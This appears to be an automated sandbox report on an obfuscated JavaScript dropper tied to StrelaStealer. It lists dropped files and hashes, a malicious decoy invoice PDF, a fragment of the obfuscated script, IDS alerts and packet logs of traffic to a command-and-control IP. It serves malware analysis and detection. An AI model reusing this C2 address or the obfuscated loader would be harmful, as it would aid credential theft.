Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\7bf5517d-4ca0-464a-b5aa-f49c5377a7b3.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9b6474ec-0a54-4816-8815-fe40ec85ecf0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17105), with CRLF line terminators
Entropy (8bit):	4.905775805965593
TrID:
File name:	247624346306918832.js
File size:	20'688 bytes
MD5:	4a7712b15d148f0cbf7ca5b80e1fdb8e
SHA1:	020487b1dfdc0da20cee41e9ec6bac78dc23f98f
SHA256:	f85f9a60b7d1d9cecd706244aa8f64e6614981b83af4841219b72270c86b1c69
SHA512:	face67844396f2de846a9254737cc5d93147f35ccba8423a45c957233da2067f2e9b54c67895f2279b3c8f344797f1f5286279e4d034860c914ed3431fe83a58
SSDEEP:	192:pVSdPQu74T3fA773POF+PD0Ewoquj0RaWwYg7EKdsqI7fY0lHAWA5g6hHgKIDbhE:7OQu8T3Y7GyD0EwoqutuAti8M8bUk
TLSH:	7A92454CE8D1D5A70ED4527487E248B2A6C541CA0AF3E1DEA9730D70072975FF8EDA3A
File Content Preview:	function nypwkkffh(){hmtpnjzsg=[1031,3079,5127,4103,2055,3072];var ucvein=this[idedlin+vcptt+brbws+xzjiuye+tfpgtbbvm+neaknsba+scoblrqu+jlzdqdbj](this[idsbbxl+pcnthv+dwknzt+brbws+cwkhcryg+idedlin+jlzdqdbj][adfqomj+brbws+tfpgtbbvm+vcptt+jlzdqdbj+tfpgtbbvm+p

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T06:20:11.800984+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49753	193.143.1.205	80	TCP
2025-01-11T06:20:11.800984+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.9	49753	193.143.1.205	80	TCP
2025-01-11T06:20:14.235521+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49767	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:20:10.949981928 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:10.954859018 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:10.955004930 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:10.957654953 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:10.962485075 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800901890 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800935030 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800951004 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800966978 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800983906 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.800983906 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.800997019 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.801007032 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.801023960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.801039934 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.801048040 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.801055908 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.801071882 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.801086903 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.801115990 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.805881023 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.805907965 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.805953979 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.864173889 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.864192963 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.864247084 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.925595045 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925622940 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925673962 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.925745964 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925760984 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925776958 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925791979 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.925801039 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.925822020 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.926312923 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926337957 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926378012 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.926701069 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926717043 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926732063 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926747084 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.926760912 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.926789999 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.927376986 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.927392960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.927407980 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.927423000 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.927433968 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.927438974 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.927463055 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.928189039 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.928231001 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.928251982 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.928267956 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.928283930 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.928299904 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.928308964 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.928349972 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.929048061 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:11.973371029 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:11.999329090 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.031430960 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.031450033 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.031466961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.031487942 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.031518936 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.051428080 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051445007 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051460028 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051517963 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.051625967 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051644087 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051664114 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051668882 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.051681042 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051697969 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051703930 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.051712990 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051728964 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.051736116 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.051768064 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.052449942 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052464008 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052514076 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.052594900 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052611113 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052625895 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052639961 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052653074 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.052656889 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.052681923 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053246021 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053262949 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053280115 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053289890 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053294897 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053311110 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053318977 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053324938 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053342104 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053349018 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053358078 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053375006 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053911924 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053927898 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053944111 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053958893 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053960085 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053975105 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.053985119 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.053989887 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054007053 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054016113 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.054042101 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054045916 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.054773092 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054788113 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054804087 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054814100 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.054845095 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.054912090 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054925919 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054943085 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054965973 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.054970026 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.054986954 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.055006981 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.055711985 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.055757046 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.089529037 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.089545965 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.089562893 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.089585066 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.122704983 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.122756004 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.156126976 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.156152964 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.156171083 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.156186104 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.156203032 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.156245947 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.156281948 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.174973011 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.174993992 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175009966 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175041914 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175048113 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175055981 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175060987 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175096035 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175180912 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175194979 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175229073 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175534010 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175595999 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175611973 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175637960 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175669909 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175683975 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175698042 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175707102 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175713062 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175740957 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175800085 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175815105 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175832033 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175838947 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.175848007 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.175875902 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176043034 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176083088 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176093102 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176131010 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176175117 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176192045 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176214933 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176237106 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176244020 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176287889 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176623106 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176641941 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176676035 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176691055 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176758051 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176779985 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176795006 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176798105 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176811934 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176826000 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176830053 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176840067 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176855087 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.176867962 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.176901102 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.177381992 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177397966 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177412987 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177436113 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.177453041 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177469015 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177484035 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177500963 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.177524090 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.177622080 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177637100 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177653074 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177666903 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177683115 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.177685976 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.177709103 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.178427935 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178445101 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178461075 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178478003 CET	49753	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:20:12.178483963 CET	80	49753	193.143.1.205	192.168.2.9
Jan 11, 2025 06:20:12.178500891 CET	49753	80	192.168.2.9	193.143.1.205
